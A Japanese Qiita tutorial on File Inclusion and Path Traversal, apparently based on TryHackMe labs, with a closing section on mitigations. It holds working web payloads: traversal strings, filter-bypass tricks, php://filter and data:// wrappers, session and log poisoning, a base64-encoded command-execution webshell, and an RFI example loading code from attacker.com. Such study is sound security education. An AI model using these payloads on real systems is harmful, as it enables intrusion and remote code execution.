0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】File Inclusion(Path Traversal / LFI / RFI)まとめ2

Posted at

はじめに

File Inclusion(ファイルインクルージョン)と Path Traversal(パストラバーサル)は、「外部からの入力で参照するファイルパスが変えられてしまう」 ことが原因で発生する脆弱性です。

図書館をイメージしてみましょう。本来は一般利用者が触れない「職員専用の書庫」があるのに、蔵書検索システムをちょっと細工するだけで、その書庫の本まで読めてしまう――それが Web アプリの世界で起きるのが、File Inclusion / Path Traversal です。

Web アプリでは、URL やパラメータ、フォーム入力を元にファイルを読み込んだり、テンプレートを include したりします。この処理が不適切に実装されていると、攻撃者は本来アプリの一部ではないファイルを読み込ませたり、最悪任意コード実行(RCE)まで到達できます。

1. Web アプリケーションの構造

Web アプリは、複数コンポーネントが連携して動くシステムですが、大きく分けると以下の 2 つです。

  1. フロントエンド(Frontend)
    • ユーザーが直接触れる UI 部分
    • React / Angular / Vue.js などで構築されることが多い
    • API を通じてバックエンドと通信する
  2. バックエンド(Backend)
    • ユーザーからのリクエストを受け取り処理するサーバ側
    • DB と連携し、データを取得・更新し、フロントエンドに返す
    • PHP / Python / JavaScript(Node.js)などで実装され、Django / Laravel / Express などのフレームワークが使われる

クライアント・サーバモデル

  • クライアント(ブラウザなど)が HTTP/HTTPS でサーバへリクエストを送信
  • サーバ(Web アプリ)がリクエストを処理し、レスポンスを返す
  • その裏側で、サーバ側のコードがファイルや DB にアクセスしている

2. File Inclusion の基本と種類

トラバーサル文字列とパス指定

  • ../(ディレクトリトラバーサル)

    • 一つ上のディレクトリに移動する
    • 多用すると /var/www/html から /etc/ まで脱出できたりする
  • 相対パス(Relative path)

    include('./folder/file.php');
    
    • 実行中スクリプトと同じ階層にある folder/file.php を指す
  • 絶対パス(Absolute path)

    /var/www/html/folder/file.php
    
    • ルート / からの完全パス

Remote File Inclusion(RFI)

RFI(リモートファイルインクルージョン) は、ユーザー入力を通じて外部サーバ上のファイルinclude してしまう脆弱性です。

例:

// include.php?page=http://attacker.com/exploit.php
include($_GET['page']);

攻撃者は page を任意の URL に変えて、自分のサーバ上の PHP シェルなどを読み込ませます。

  • 結果として、サーバ上で攻撃者のコードがそのまま実行される。

※ 近年は allow_url_include などが無効化されているケースも多いですが、古い環境ではまだ実在します。


Local File Inclusion(LFI)

LFI(ローカルファイルインクルージョン) は、サーバのローカルファイルを不正に読み込ませる脆弱性です。

例:

include.php?page=../../../../etc/passwd

目的:

  • ローカルの機密ファイル(/etc/passwd, config.php など)の閲覧
  • ログやセッションファイルに仕込んだ PHP コードを include して RCE へ発展

代表的な LFI→RCE パターン:

  • ログポイズニング
    • access.log / error.log に <?php ... ?> を書き込ませる
    • そのログファイルを LFI で include して実行
  • セッションファイルの悪用
    • $_SESSION に埋め込んだ PHP コードが /var/lib/php/sessions/sess_xxx に保存される
    • そのセッションファイルを LFI で include

RFI vs LFI の攻撃プロセス

3. PHP Wrappers(ファイル操作とコード実行)

3.1 PHP Wrappers 概要

PHP には「ストリームラッパー(wrapper)」という仕組みがあり、php://data:// のような特殊なプロトコルでデータにアクセスできます。

これが LFI と組み合わさると非常に強力で、ファイルの内容変換・エンコード・デコード・場合によっては任意コード実行まで可能になります。

PHP フィルタの種類例
  • String Filters
    • string.rot13, string.toupper, string.tolower, string.strip_tags など
  • Conversion Filters
    • convert.base64-encode, convert.base64-decode
    • convert.quoted-printable-encode, convert.quoted-printable-decode
  • Compression Filters
    • zlib.deflate, zlib.inflate
  • Encryption Filtersmcrypt, mdecrypt 等 – 現在は非推奨)

3.2 php://filter – Base64 でファイルを読む例

php://filter は、読み書き時にデータへフィルタ(変換)をかけることができるラッパーです。
例えば /etc/passwd を base64 でエンコードして取得するペイロード:

php://filter/convert.base64-encode/resource=/etc/passwd

TryHackMe ラボ例:

  • URL: http://TARGET_IP/playground.php
  • page パラメータなどに上記ペイロードを渡す

3.3 Data Wrapper(data://)

data:// ラッパーは、インラインでデータを埋め込むためのラッパーです。小さな文字列・コードを URL の中に直接書き込むことができます。

例:PHP の phpinfo() を実行する payload

  • URL: http://TARGET/playground.php

  • ペイロード:

    data:text/plain,<?php%20phpinfo();%20?>
    

分解すると:

  • data: … プロトコル
  • text/plain … MIME タイプ
  • ,<?php phpinfo(); ?> … 実際のデータ部分(ここに PHP コード)

LFI と組み合わせることで、「ファイル」ではなく、URL 内のデータをコードとして include させることが可能になります。


4. Base Directory Breakouts(ベースディレクトリからの脱出)

多くのアプリは、「このディレクトリから外には出さない」制御を入れているつもりです。しかし、よくある実装は簡単にバイパスできます。

4.1サンプルコード

function containsStr($str, $subStr){
    return strpos($str, $subStr) !== false;
}

if(isset($_GET['page'])){
    if(!containsStr($_GET['page'], '../..') && containsStr($_GET['page'], '/var/www/html')){
        include $_GET['page'];
    }else{ 
        echo 'You are not allowed to go outside /var/www/html/ directory!';
    }
}
  • 条件:
    • $_GET['page']../.. が含まれていないこと
    • かつ /var/www/html を含んでいること

しかし、以下のようなペイロードで簡単にすり抜けられます。

/var/www/html/..//..//..//etc/passwd

..//..// は、ファイルシステム上では ../../ と同じ意味だが、文字列としては ../.. に一致しないためフィルタをすり抜ける。

TryHackMe ラボ例:

  • URL: http://TRAGET_IP/lfi.php
  • ペイロード: /var/www/html/..//..//..//etc/passwd

4.2 Obfuscation(難読化)でフィルタを回避

アプリが ../ を単純に除去しているだけのケースは、以下のような方法で回避できます。

サンプルスクリプト

$file = $_GET['file'];
$file = str_replace('../', '', $file);

include('files/' . $file);

攻撃者の回避テクニック:

  1. URL エンコード
    • ../%2e%2e%2f
    • 例: ?file=%2e%2e%2fconfig.php
    • アプリ側が str_replace('../', ...) を行う前に URL デコードするかどうかで挙動が変わるが、実装によってはフィルタすり抜け
  2. ダブルエンコード(二重デコードが行われる場合)
    • ../%252e%252e%252f
    • 1回目のデコード: %2e%2e%2f
    • 2回目のデコード: ../
  3. 構文の崩し(Obfuscation)
    • ....//config.php という文字列を使う
    • ../ だけを除去した結果として ../config.php 相当になるように細工する

5.LFI2RCE – Session Files(セッションファイル経由)

PHP のセッションはデフォルトではファイルとしてサーバ上に保存されます(例: /var/lib/php/sessions/sess_xxx)。
ここに PHP コードを紛れ込ませ、LFI でそのセッションファイルを読み込ませると、RCE が成立します。

5.1 脆弱なサンプルコード

URL: http://10.48.154.176/sessions.php

if(isset($_GET['page'])){
    $_SESSION['page'] = $_GET['page'];
    echo "You're currently in" . $_GET["page"];
    include($_GET['page']);
}

攻撃ステップ:

  1. page パラメータに、PHP コード文字列を入れる

    ?page=<?php echo phpinfo(); ?>
    

    この文字列が $_SESSION['page'] としてセッションファイルに保存される

  2. ブラウザの Cookie から PHPSESSID を確認する

  3. LFI でセッションファイルを include

    sessions.php?page=/var/lib/php/sessions/sess_[sessionID]
    
    • [sessionID] を自分の PHPSESSID に置き換える

    → セッションファイル内の <?php echo phpinfo(); ?> が実行される


6. LFI2RCE – Log Poisoning(ログポイズニング)

ログポイズニングは、Web サーバのログファイルに PHP コードを注入し、そのログファイルを LFI で include して実行する手法です。

  • ログは通常、開発者や運用担当が見るだけなので「安全そう」に見える
  • しかし、リクエストライン・User-Agent・Referer などがそのままログに出ることが多く、そこに PHP コードを書き込める

例:Netcat でログにコードを注入

$ nc TARGET_IP 80      
<?php echo phpinfo(); ?>
...

このリクエストの一部が Apache の access.log に書き込まれます。

LFI でログを読み込む

?page=/var/log/apache2/access.log
  • ログファイル内の <?php echo phpinfo(); ?> が PHP として解釈され、実行される

7 LFI2RCE – Wrappers を使ったコード実行

**php://filter + data:// を組み合わせて「Base64 で埋め込んだ PHP コードを実行」**するテクニックです。

攻撃の流れ

URL: http://TARGET_IP/playground.php

使用する PHP コード:

<?php system($_GET['cmd']); echo 'Shell done!'; ?>

このコードを Base64 エンコードした上で、以下のようなラッパー付き文字列を最終ペイロードとします。

php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+
Position Field Value
1 Protocol Wrapper php://filter
2 Filter convert.base64-decode
3 Resource Type resource=
4 Data Type data://plain/text,
5 Encoded Payload PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+

PD9w...Pz4+<?php system($_GET['cmd']); echo 'Shell done!'; ?> を Base64 したものです。

処理イメージ:

  1. data://plain/text,Base64文字列 から「Base64文字列」という文字データを読み込む
  2. php://filter/convert.base64-decode/resource=... により、その文字列を Base64 デコード
  3. 結果として得られた PHP コードが include され、実行される
  4. ブラウザ側からは ?cmd=whoami などを付けてコマンドを任意実行できる

注意:
フォームからこの文字列を送信する際に &cmd=whoami まで一緒に入力してしまうと、& 以降も含めて Base64 にエンコードされてしまい、サーバ側で「不正なバイト列」としてエラーになります。
cmd パラメータは別途クエリとして送る必要があります。


8.緩和・防止策

  1. 入力値のバリデーション・サニタイズの徹底
    • ../ を雑に削除するだけでは不十分
    • 「そもそも任意パスを指定させない」設計を心がける
  2. ファイルアクセスのホワイトリスト化
    • id=1about.php のように ID をマッピング
    • include($templates[$id]) のように、事前定義されたファイルだけを include する
  3. PHP / サーバ設定での制限
    • 不要な allow_url_fopen, allow_url_include を無効化
    • open_basedir でアクセス可能なディレクトリを制限
    • ログに PHP タグが出ないように設定・処理する
  4. コードレビュー・自動スキャン
    • 静的解析や SAST、DAST ツールでパス操作・ファイル操作をチェック
    • 手動レビューで include, require, file_get_contents などを重点的に確認
  5. セキュリティ教育
    • 開発者・運用者が File Inclusion / Path Traversal の危険性を理解する
    • 「とりあえずユーザー入力をそのままファイルパスに渡す」実装を避ける文化を作る

まとめ

File Inclusion と Path Traversal は、どちらも「ユーザー入力でファイルパスを直接いじれてしまう」ことに起因する脆弱性です。

  • File Inclusion
    • LFI(Local File Inclusion): ローカルファイルの読み取り・コード実行
    • RFI(Remote File Inclusion): 外部リソースを読み込んで実行
  • Path Traversal
    • ../ などのトラバーサルで想定外のディレクトリにアクセス
    • ファイル閲覧、設定ファイルやログの漏洩に繋がる

これらは単なる「情報漏洩」にとどまらず、ログポイズニング・セッションファイル・ラッパー(php://, data://)などと組み合わせることで、フル RCE まで一気にエスカレートすることがよくあります。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?